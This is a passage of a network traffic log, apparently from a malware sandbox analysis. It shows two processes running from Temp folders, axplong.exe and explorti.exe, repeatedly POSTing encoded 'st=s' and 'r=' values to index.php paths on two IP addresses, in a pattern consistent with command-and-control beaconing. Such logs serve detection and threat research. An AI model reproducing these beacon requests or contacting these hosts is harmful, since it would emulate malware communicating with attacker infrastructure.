Jul 24, 2024 02:40:53.493065119 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49964	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:53.619174004 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:54.325601101 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:54.344748974 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:54.801990032 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49965	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:53.813703060 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:54.579509974 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:54.595662117 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:54.829487085 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49966	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:54.951124907 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:55.683743954 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:55.688239098 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:55.919189930 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49967	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:55.001032114 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:55.685966015 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:55.691348076 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:55.907747984 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49969	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:56.039371967 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:56.746014118 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:56.754591942 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:56.988593102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49968	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:56.039412022 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:56.763997078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:56.802840948 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:57.035717010 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49970	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:57.124660015 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:57.817210913 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:57.889506102 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:58.110706091 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49971	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:57.225322962 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:57.915657997 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:57.925354958 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:58.143150091 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49972	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:58.470124960 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:59.160923004 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:59.490930080 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:59.717149019 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49973	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:58.501939058 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:59.157372952 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:59.209285021 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:59.726576090 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49974	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:59.855185032 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:41:00.554757118 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:41:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:41:01.015245914 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:41:01.236258984 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:41:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49975	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:59.858916044 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:41:00.573777914 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:41:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:41:00.864439964 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:41:01.096103907 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:41:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49976	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:41:01.218075037 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:41:01.949632883 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:41:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
